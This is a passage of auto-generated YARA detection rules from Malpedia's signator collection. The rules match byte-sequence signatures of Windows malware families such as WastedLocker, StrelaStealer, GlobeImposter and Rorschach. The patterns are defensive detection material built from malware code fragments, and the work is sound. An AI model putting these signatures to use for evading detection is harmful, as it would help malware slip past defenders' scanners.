		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wastedlocker_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "2c12d9ce655c1e066154e40493d5fbd7e9ce57fd1e7f44c9306209ae45654264"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a2a e8???????? 8b45fc 8b30 }
		$sequence_1 = { 5b 7504 8365fc00 8b4508 ff30 ff15???????? 8b45fc }
		$sequence_2 = { 8bc7 351ec34eee 50 53 e8???????? }
		$sequence_3 = { ff15???????? 85c0 740f 6a02 57 ff15???????? }
		$sequence_4 = { 51 8935???????? 8935???????? a3???????? a3???????? }
		$sequence_5 = { e8???????? 8d85d0f3ffff 50 56 8d85b8edffff 50 8d85b0ebffff }
		$sequence_6 = { 8918 33f6 eb26 ff15???????? 53 6a00 ff35???????? }
		$sequence_7 = { 03c7 13cb a3???????? 0bc1 890d???????? 0f8456010000 8b4dfc }
		$sequence_8 = { ff7508 e8???????? 2b4d08 8bf0 03f1 eb02 8bf1 }
		$sequence_9 = { ff750c 6a00 ff35???????? ff15???????? 8b45f0 5f 5e }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Rikamanu_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6aa1bb34-6dad-5a44-a7b0-10e6f22d5ad7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rikamanu_auto.yar#L1-L301"
		license_url = "N/A"
		logic_hash = "bec31db5b7da98c4f1592bb94bd04c2338666fc78eaa33ae09c8491dda001ca5"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 6a14 ff15???????? a801 }
		$sequence_1 = { 50 ff15???????? 8b35???????? 3d80969800 }
		$sequence_2 = { 40 3acb 75f9 57 8dbdf4fdffff 2bc2 4f }
		$sequence_3 = { 8d4c2414 51 56 ff15???????? 8b542414 52 }
		$sequence_4 = { 0fb6da f68321ae400004 740c ff01 85f6 }
		$sequence_5 = { 33c0 890d???????? bf???????? 890d???????? 890d???????? 890d???????? }
		$sequence_6 = { 7423 83c604 803e00 7587 53 57 ff15???????? }
		$sequence_7 = { 58 668986b8000000 668986be010000 c74668b02f4100 83a6b803000000 6a0d }
		$sequence_8 = { 83d8ff 85c0 0f841f020000 83c9ff }
		$sequence_9 = { e8???????? 59 3bc3 7511 391d???????? 7509 ff750c }
		$sequence_10 = { 59 8b7508 8d34f570902400 391e 7404 8bc7 eb6d }
		$sequence_11 = { 33c5 8945fc 8b0d???????? 53 6804010000 33db 8d85f8feffff }
		$sequence_12 = { 888800962400 40 ebe9 33c0 8945e4 3d00010000 7d10 }
		$sequence_13 = { 8b842470020000 03f8 57 56 ff15???????? 5f 5e }
		$sequence_14 = { ff15???????? 8b8df0fdffff 8b35???????? 51 ffd6 8b95e8fdffff 52 }
		$sequence_15 = { ff35???????? ff15???????? c3 ff35???????? ff742408 }
		$sequence_16 = { f3a5 8bca 83e103 f3a4 8dbc243c020000 83c9ff f2ae }
		$sequence_17 = { 7229 f3a5 ff2495d85a4000 8bc7 ba03000000 83e904 720c }
		$sequence_18 = { ffd6 85c0 74c2 8b85ccfdffff 6aff }
		$sequence_19 = { f3a5 8bca 6880000000 83e103 6a04 f3a4 }
		$sequence_20 = { 52 ff15???????? 8b8c2470020000 8bf8 8d442414 }
		$sequence_21 = { 53 56 6a01 68???????? e8???????? 6a01 }
		$sequence_22 = { e8???????? 68ff000000 8d85e9f9ffff 889de8f9ffff 53 50 e8???????? }
		$sequence_23 = { 50 a3???????? e8???????? 8db67c774000 bf???????? a5 a5 }
		$sequence_24 = { c1f905 83e21f 8b0c8de0b84000 f644d10401 7425 50 e8???????? }
		$sequence_25 = { 83c9ff 33c0 8b1d???????? f2ae f7d1 6a00 }
		$sequence_26 = { 55 6803000010 57 ffd6 3b442410 0f8584040000 b940000000 }
		$sequence_27 = { ff7510 50 ff7508 ff15???????? 5e 5d c21000 }
		$sequence_28 = { 56 57 8b7d0c 85db 0f84b2000000 85ff 0f84aa000000 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Gamotrol_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2b2204da-4f22-547c-9de3-80e2483d6d42"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gamotrol_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "0a158c049548339723eb169f446010e4bcdbd33e0805ca045362a8d262920ab1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 90 55 90 }
		$sequence_1 = { eb82 55 8bec 83ec20 56 33f6 39750c }
		$sequence_2 = { 83c40b 83ec0b 68b4c2ffff 83c410 83c4f0 6aff 68???????? }
		$sequence_3 = { c1c804 8945fc 61 8b45f4 }
		$sequence_4 = { 83ec0b 83c40f 83c4f1 83c45b 83ec5b 90 90 }
		$sequence_5 = { cc 8b442404 a3???????? c3 8b442404 a3???????? a3???????? }
		$sequence_6 = { 5d 85c0 7709 33c0 5f 5e }
		$sequence_7 = { 8945e4 90 90 55 8bec }
		$sequence_8 = { 81ec00020000 8d6c24fc a1???????? 33c5 898500020000 6a0c b8???????? }
		$sequence_9 = { 6aff 6a00 68???????? 6a00 ff15???????? }
	condition:
		7 of them and filesize < 376832
}

rule MALPEDIA_Win_Retefe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8aa29e0c-c404-5a57-8eda-15f9ee27924e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.retefe_auto.yar#L1-L279"
		license_url = "N/A"
		logic_hash = "2fe6220549475b9cb9f17de89d5a599ff0e604b2c25c7a541e74c1b0545a1a8f"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8bf8 ffd6 85c0 }
		$sequence_1 = { 68f5000000 50 ff15???????? b801000000 }
		$sequence_2 = { e8???????? 6a08 e8???????? 894604 83c404 }
		$sequence_3 = { 6a1c 6ae1 6aa5 6a00 6a14 6aea 6abe }
		$sequence_4 = { 894604 83c404 8bc6 e8???????? }
		$sequence_5 = { 6adb 6a1c 6ad8 6a2f 6ad1 6a0a }
		$sequence_6 = { 6ada 6a53 6ac7 6a36 6acb 6a18 6ac4 }
		$sequence_7 = { 8901 8b4e04 33c0 83c404 394104 }
		$sequence_8 = { 8b4e04 40 3b4104 72ec }
		$sequence_9 = { e8???????? 8b4e04 8901 8b4e04 }
		$sequence_10 = { 51 8d9570efffff 52 50 50 50 6a01 }
		$sequence_11 = { 6afa 6acb 6a12 6a79 }
		$sequence_12 = { c1eb18 884101 c1ea10 33c0 }
		$sequence_13 = { 50 e8???????? 88043e 46 83c404 3bf3 75ec }
		$sequence_14 = { 0f8520010000 33c0 8ad8 8d8d04dcffff }
		$sequence_15 = { 803800 740b 6a18 59 }
		$sequence_16 = { 83e809 7443 83e801 0f8501010000 c745e014344100 8b4508 8bcf }
		$sequence_17 = { 5d 5b c20800 833d????????00 }
		$sequence_18 = { 8b7c2410 85f6 0f840b010000 53 e8???????? }
		$sequence_19 = { 6a00 e8???????? 803d????????00 750c 8d859cdeffff }
		$sequence_20 = { 8b0e 394104 761c 660f1f840000000000 8b11 8a88503e4100 }
		$sequence_21 = { ff5004 8b4ddc 8b4104 895904 85c0 7406 8b08 }
		$sequence_22 = { 8bf0 8b5508 83c9ff 83c2f0 f00fc14a0c }
		$sequence_23 = { 8b5c2418 89442434 8b44241c 8d48f8 }
		$sequence_24 = { 33c0 668945e8 8b45d4 886de5 8b1485a0bf4200 }
		$sequence_25 = { 897de0 394508 7c1f 3934bd08d44500 }
		$sequence_26 = { 57 8d3c85a8c14200 8b0f 85c9 740b 8d4101 f7d8 }
		$sequence_27 = { 8b01 51 ff5008 8b4e0c 85c9 7406 }
		$sequence_28 = { 7ead 8b0d???????? 8d857869ffff 6a00 }
		$sequence_29 = { 0fb6c0 eb17 81fa00010000 7313 8a87ccb14200 08441619 }
	condition:
		7 of them and filesize < 843776
}

rule MALPEDIA_Win_Leash_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "834a92ba-9821-599a-958a-a52bb0a34e26"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leash"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.leash_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "c93eec2e1f2f1d66b27a1254f16f6dd424c1be05af8702a857f092a6abe7b4de"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 85c0 744f 8b0e 53 83c10c }
		$sequence_1 = { e8???????? 8bf8 8d8548feffff 6a0a 50 6a00 56 }
		$sequence_2 = { 8b5d08 8d55cc 50 52 8d8bff000000 c645fc02 }
		$sequence_3 = { 83c41c 83f8ff 0f8482010000 85c0 }
		$sequence_4 = { 83c41c f2ae f7d1 2bf9 8bd1 8bf7 8bfd }
		$sequence_5 = { 8b7c242c 6800040000 8d8328380000 57 50 e8???????? 668b44243c }
		$sequence_6 = { aa b9ff000000 33c0 8dbc2411040000 f3ab }
		$sequence_7 = { 8dbd5df9ffff 889d5cf9ffff f3ab 66ab aa b9ff000000 33c0 }
		$sequence_8 = { 68???????? e8???????? a1???????? 83c40c 8d95e4f7ffff 8d8819100000 51 }
		$sequence_9 = { e9???????? 8d8424fc290000 8d8c24fc050000 50 51 e8???????? }
	condition:
		7 of them and filesize < 761856
}

rule MALPEDIA_Win_Adhubllka_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad2942ad-0768-5d25-b2fe-1ba7ec43f66b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adhubllka_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "e47f134b0db44fb4d451c84c4568ba6117ac83a59e51548a061c4d0fcde2d289"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b45c8 894590 8b45c4 894598 8b45c0 898560ffffff }
		$sequence_1 = { 03459c 8bc8 c1c307 334d94 c1c110 03f1 8bd6 }
		$sequence_2 = { 33c9 25000f0000 c705????????01000000 3d000f0000 8b45d4 }
		$sequence_3 = { c78424a8000000787e4100 c78424ac000000807e4100 c78424b0000000887e4100 c78424b4000000907e4100 }
		$sequence_4 = { 8b4b14 894734 83c240 8b45e8 83c640 83e840 }
		$sequence_5 = { ffb52cfbffff 56 ffb518fbffff 51 8b8d30fbffff e8???????? }
		$sequence_6 = { 56 57 ff15???????? 68???????? 57 ff15???????? 8d85a4fdffff }
		$sequence_7 = { 8b3d???????? 8b442410 8b4c2414 8b542418 d1e8 41 83ea01 }
		$sequence_8 = { 83ff40 725c 8b45ac 8b4d9c 0f1006 8b559c 0f105610 }
		$sequence_9 = { 7707 8b4310 3bd0 730e 8d463f 3bc8 773b }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Dma_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0add9e5f-70eb-5058-aac8-c8618a1495ef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dma_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dma_locker_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "a7ffbc7fbe47962bc61977330ab1a66fd9d8632edda819d321196bb89e9e7e32"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8bf0 85f6 0f84ab000000 e8???????? }
		$sequence_1 = { 83c404 83c310 ff4c2414 89470c 8b7c2410 758d }
		$sequence_2 = { ff15???????? 85c0 7404 c6461801 }
		$sequence_3 = { 50 6a00 56 6a19 68fe010000 6894020000 6854010000 }
		$sequence_4 = { 6a01 6a00 6a00 6a00 688a020000 6a00 6a00 }
		$sequence_5 = { e8???????? 8bf8 83c408 85ff 7425 8b45e4 }
		$sequence_6 = { 53 e8???????? 84c0 744f 686c060000 e8???????? 83c404 }
		$sequence_7 = { eb0e 8b4810 8b7808 bb2b000000 894df8 33f6 56 }
		$sequence_8 = { 6683f87f 8d642408 0f85be730000 eb00 f30f7e442404 }
		$sequence_9 = { 83c408 85f6 0f840e040000 56 32db e8???????? }
	condition:
		7 of them and filesize < 532480
}

rule MALPEDIA_Win_Careto_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "57e5d9f7-b1a4-5fc9-9a67-0b8686d462cc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.careto"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.careto_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "e5dc00dd8daf311387d91262fca293d89a75fa8c242ab0cc183af2043a20f18b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895104 47 ff15???????? eb58 8d45ec 50 8d45f4 }
		$sequence_1 = { eb1e ff7508 8d8568fbffff 50 }
		$sequence_2 = { 85c0 0f850e020000 57 6a40 59 889ddcfdffff 8dbdddfdffff }
		$sequence_3 = { 8b4b04 56 8b7308 8bc1 03f2 3bf0 8945fc }
		$sequence_4 = { ff55e0 3bc6 8945e4 740b 3dea000000 0f85fd000000 8b7df4 }
		$sequence_5 = { 7584 85ff 7407 57 ff15???????? 33c0 40 }
		$sequence_6 = { 8b3d???????? be???????? 7579 ffd7 }
		$sequence_7 = { a0???????? c3 e8???????? 84c0 740c 833d????????05 }
		$sequence_8 = { 81ecb8080000 53 8b5d08 68???????? 53 c745e8d4070000 e8???????? }
		$sequence_9 = { 7416 48 740c 83e804 754a 68???????? }
	condition:
		7 of them and filesize < 94208
}

rule MALPEDIA_Win_Photofork_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "03f3231c-1475-52ed-bb16-632751ac4d12"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photofork_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "709bae5e70c248514471207a86aa73bde84d2e17312283aa497e33ccd6cf6fc3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4d85d2 7515 8d56fc 33c9 41b8fe6a7a69 e8???????? }
		$sequence_1 = { 4156 4883ec60 49894ba8 4533e4 }
		$sequence_2 = { 488b0d???????? 488981e0100000 eb12 ba01000000 }
		$sequence_3 = { 4c894858 33d2 41b800800000 488bcf 41ffd1 33c0 4881c4a0000000 }
		$sequence_4 = { 4c8d45c4 eb72 488b05???????? 4885c0 742c 488b8080010000 }
		$sequence_5 = { 0f85b9010000 ff15???????? 83f87a 0f85aa010000 8b8424d0000000 }
		$sequence_6 = { 5e 5d c3 498bdf 6690 80bbc001000030 }
		$sequence_7 = { 4c8bc6 488d950c020000 e8???????? 488d5590 }
		$sequence_8 = { 488bd0 488b05???????? 48899040060000 488d4dc0 ffd2 66837dc009 b840000000 }
		$sequence_9 = { 72ea 4533c9 4c8d459c 488d54242c }
	condition:
		7 of them and filesize < 99328
}

rule MALPEDIA_Win_Gameover_Dga_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "03fc91af-7fd0-5c49-806f-66baee40bb34"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gameover_dga_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "0d50d6a34d24e697f3e47548c11296361a501bf8307c9f90af33f306f5bb9e63"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 884617 33c0 40 e9???????? 8a4601 33db 8b6c2434 }
		$sequence_1 = { 8b13 8bcb 6a01 57 56 ff742420 ff742420 }
		$sequence_2 = { 8bf8 83cdff 3bfd 7504 8bc5 eb42 }
		$sequence_3 = { 55 8bac2434010000 56 57 8bf9 8b4508 85c0 }
		$sequence_4 = { 39442414 0f85eb060000 8b84245c010000 41 894c2420 40 50 }
		$sequence_5 = { 85db 7417 6af6 6a01 ff742434 ffd3 85c0 }
		$sequence_6 = { ff7064 ffd6 85c0 0f8513010000 a1???????? 68???????? ff7064 }
		$sequence_7 = { 8b4c2424 b301 8901 5d 8bce e8???????? }
		$sequence_8 = { 8bc2 83c204 3b54241c 7725 8a5c2428 8818 8a5c2413 }
		$sequence_9 = { 0f851f010000 8b442414 8d542428 52 53 ff742450 8b08 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Strelastealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e21e6c9-b196-5772-9b5f-024320f3473e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.strelastealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.strelastealer_auto.yar#L1-L230"
		license_url = "N/A"
		logic_hash = "fdd1b910b27b0b34d135da8196d66e4e45cba2823b849a416c07e1720765f896"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d0575910000 41b91b000000 4889442420 e8???????? 4883c438 }
		$sequence_1 = { ff15???????? 85c0 0f854effffff 488bcb ff15???????? 4881c4d8050000 }
		$sequence_2 = { 50 e8???????? 8b44242c 83c40c 53 53 }
		$sequence_3 = { 08c1 20ca 80f101 89c8 }
		$sequence_4 = { a1???????? 668b08 56 8d5306 55 }
		$sequence_5 = { 488bc2 488d0d05c50000 0f57c0 48890b }
		$sequence_6 = { 015304 eb55 4d85c0 7e27 488bd7 4c8b4dc7 4b8b8ccbc0120600 }
		$sequence_7 = { 53 53 6804010000 8d94247c030000 52 }
		$sequence_8 = { 488d05bd430100 488945e0 895128 488d0d87a30000 }
		$sequence_9 = { 56 53 57 ff15???????? 8bf0 8b442418 8930 }
		$sequence_10 = { 08c1 08da 80f201 89c8 }
		$sequence_11 = { 08c1 0f1f440000 b810000000 e8???????? }
		$sequence_12 = { b913000000 4c8d05d3800000 e8???????? 4885c0 7417 49ba7032d8542306ddea }
		$sequence_13 = { 488d05afff0000 483bd8 74d1 488bcb }
		$sequence_14 = { 8945e4 3d00010000 7d10 8a8c181d010000 888810b80010 40 }
		$sequence_15 = { 03c7 751f 488b85a0010000 488b8888000000 488d0505540100 }
		$sequence_16 = { 50 6819000200 53 8d8c246c010000 51 6801000080 }
		$sequence_17 = { 488d4c2430 ff15???????? 488d3d2a5e0100 488bcf ff15???????? }
		$sequence_18 = { 0fb6c0 eb12 8b45e0 8a8014b90010 08443b1d 0fb64601 47 }
		$sequence_19 = { 01c7 897d14 8d1401 81c200040000 }
		$sequence_20 = { 01c1 b8dc8856d3 29c8 b9dd8856d3 }
		$sequence_21 = { 33c9 4c8d054be10000 488d154ce10000 e8???????? 4885c0 740f 488bcb }
		$sequence_22 = { 305106 33d2 f7f6 0fb68220a30010 304107 }
		$sequence_23 = { 08c1 08d3 89ca 80e201 }
	condition:
		7 of them and filesize < 872448
}

rule MALPEDIA_Win_Globeimposter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "82e87f91-7017-50a0-9ca4-45151fd590f0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.globeimposter_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "6357ace0b94e1815a02ef2680ddeaabe7f1f4794f51d0c9008b25b79555a5d01"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837c243020 57 8bfd 7608 6ac4 58 }
		$sequence_1 = { 57 83fd08 0f8205010000 8bc5 }
		$sequence_2 = { 85ff 7452 8bef 8bf0 8b06 8d7604 }
		$sequence_3 = { 8b4508 8b4e08 89442418 85ff 7452 }
		$sequence_4 = { e8???????? 85f6 7408 8d8600bdffff }
		$sequence_5 = { 3dfa000000 7205 6a0c 5f eb0d }
		$sequence_6 = { 6af4 58 e9???????? 7904 }
		$sequence_7 = { ff15???????? ff349f 8bf0 ff15???????? 3bf0 }
		$sequence_8 = { 7505 6ac4 58 eb2f }
		$sequence_9 = { 7508 6af4 58 e9???????? 7904 6af6 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Beast_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8074f5ee-0705-556f-a60f-20fb83a7b6d6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beast"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.beast_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "2393b8a862cb3a2be574fd4cc7aaf3b89fb385083cd12b93e8f9ad9b9f239f88"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 57 33ff 6a03 47 59 }
		$sequence_1 = { 330c8550b44f00 334d1c 83c520 894c242c 83ef01 0f85f0fdffff 8b442410 }
		$sequence_2 = { c6857fffffff41 c6458033 c6458141 c6458224 c6458341 c6458420 c6458541 }
		$sequence_3 = { eb08 8b4dc4 e8???????? 8bc6 5e c9 c3 }
		$sequence_4 = { c6855cfcffff4d 889d5dfcffff c6855efcffff4c 889d5ffcffff c68560fcffff5b 889d61fcffff 889d62fcffff }
		$sequence_5 = { 33b1393e5000 8b4c2448 0fb6c9 c1e104 33b9303e5000 33b1343e5000 8b4c2428 }
		$sequence_6 = { 6a3f 5a 6a06 898c244a010000 8db424b8000000 898c2452010000 8dbc2460010000 }
		$sequence_7 = { 8d143e 03c2 8945f0 8b45cc c1e017 0bc8 8b45cc }
		$sequence_8 = { 8b45c8 03c3 33d0 c1c210 8d0c16 8b75f4 33d9 }
		$sequence_9 = { c6459025 8bd3 c6459156 c6459223 c6459356 c6459435 }
	condition:
		7 of them and filesize < 2411520
}

rule MALPEDIA_Win_Rorschach_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "11b24b2d-bfea-5a8c-988f-bea7ea32170c"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rorschach_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "3819d2826273a95ad95ce552fb76b197f4eb30ddd0b4d089208f0442591f4b17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f30f6f440420 f30f6f0c28 660fefc8 f30f7f0c30 418d40f0 f30f6f440420 f30f6f0c28 }
		$sequence_1 = { e8???????? 8885f6050000 b261 488d8d70050000 e8???????? 8885f7050000 33d2 }
		$sequence_2 = { ff15???????? 85c0 7414 488b4c2438 4c8d442444 488d5570 ff15???????? }
